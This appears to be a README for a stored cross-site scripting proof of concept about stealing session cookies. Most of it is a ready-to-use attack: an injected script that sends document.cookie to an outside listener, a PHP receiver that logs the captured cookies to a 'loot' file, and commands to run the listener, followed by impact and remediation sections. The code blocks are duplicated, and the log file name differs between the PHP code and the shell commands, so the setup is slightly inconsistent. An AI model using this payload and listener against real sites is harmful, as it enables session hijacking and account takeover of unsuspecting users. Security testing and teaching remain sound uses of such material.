Stored Cross-Site Scripting (XSS) Cookie Theft PoC

This repository contains a proof-of-concept (PoC) demonstrating how a Stored Cross-Site Scripting (XSS) vulnerability can be leveraged to hijack user sessions by stealing active HTTP cookies.

Technical Overview

The demonstration uses a malicious JavaScript payload injected into a vulnerable application input (e.g., a review or comment section) that persistently stores user input. When other users view the compromised page, their browser executes the script, transmitting their session cookies to an external listener managed by the tester.

[Victim Browser]
       │
       │ 1. Loads compromised page & executes XSS
       ▼
[Malicious Image Request] ────(Sends document.cookie)────► [PHP Listener] ──► [kim_loot.log]

[Victim Browser]
       │
       │ 1. Loads compromised page & executes XSS
       ▼
[Malicious Image Request] ────(Sends document.cookie)────► [PHP Listener] ──► [kim_loot.log]

Deployment & Setup

1. The XSS Payload

Inject the following script into the vulnerable input field of the target application. It creates an invisible <img> element in the DOM to send a background HTTP GET request containing the victim's session cookies.

html

<script>
  new Image().src ="<http://jubair:9000/steal?c=>" + encodeURIComponent(document.cookie);
</script>

<script>
  new Image().src ="<http://jubair:9000/steal?c=>" + encodeURIComponent(document.cookie);
</script>

2. The Data Receiver (jubair_server.php)

Save this backend script locally. It listens for inbound requests on the /steal endpoint, logs the data to a local text file, and returns a valid 1x1 transparent GIF to prevent visual disruption on the client side.

php

<?php
// jubair_server.php
$path = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);
if ($path === '/steal') {
    $cookie = isset($_GET['c']) ? $_GET['c'] : 'No cookie data';
    $timestamp = date('Y-m-d H:i:s');
    $logEntry = "[{$timestamp}] Captured Cookie: {$cookie}\n";
    file_put_contents('kim_loot.log', $logEntry, FILE_APPEND);
    header('Content-Type: image/gif');
    header('Cache-Control: no-cache, no-store, must-revalidate');
    echo base64_decode('R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7');
    exit;
}
http_response_code(404);

<?php
// jubair_server.php
$path = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);
if ($path === '/steal') {
    $cookie = isset($_GET['c']) ? $_GET['c'] : 'No cookie data';
    $timestamp = date('Y-m-d H:i:s');
    $logEntry = "[{$timestamp}] Captured Cookie: {$cookie}\n";
    file_put_contents('kim_loot.log', $logEntry, FILE_APPEND);
    header('Content-Type: image/gif');
    header('Cache-Control: no-cache, no-store, must-revalidate');
    echo base64_decode('R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7');
    exit;
}
http_response_code(404);

3. Running the Listener Environment

Open two terminal windows/tabs in the directory containing jubair_server.php.

Terminal Tab 1: Start the Web Server

Launch the built-in PHP development server to handle incoming connections:

bash

php -S0.0.0.0:9000 jubair_server.php

php -S0.0.0.0:9000 jubair_server.php

Terminal Tab 2: Initialize and Monitor Logs

Create the log file and stream updates in real-time to observe captured data instantly:

bash

touch jubair_loot.log
ls
tail -f jubair_loot.log

touch jubair_loot.log
ls
tail -f jubair_loot.log

Real Impact Assessment

• Session Hijacking: Attackers who capture valid session identifiers can clone them into their own browser context, completely bypassing authentication mechanisms (including username/password prompts) to impersonate the victim.
• Privilege Escalation: If an administrative user views the stored payload, their elevated session cookie can be stolen, granting the attacker full control over the application backend.
• Zero User Interaction: Unlike Reflected XSS, Stored XSS requires no phishing or social engineering. The exploit automatically targets any user who naturally browses to the affected webpage.

Remediation Strategies

To mitigate this attack vector, implement the following defensive controls:

1. HttpOnly Flag: Configure all sensitive session cookies with the HttpOnly flag. This explicitly prevents client-side scripts from reading document.cookie.
2. Context-Aware Output Encoding: Ensure all user-supplied data is appropriately encoded (e.g., converting < to <) before it is rendered in the HTML DOM.
3. Content Security Policy (CSP): Restrict outbound connections using a strong CSP header to block scripts from transmitting data to unrecognized external domains:

http

Content-Security-Policy: default-src 'self'; img-src 'self' <https://trusted-cdn.com>;

Content-Security-Policy: default-src 'self'; img-src 'self' <https://trusted-cdn.com>;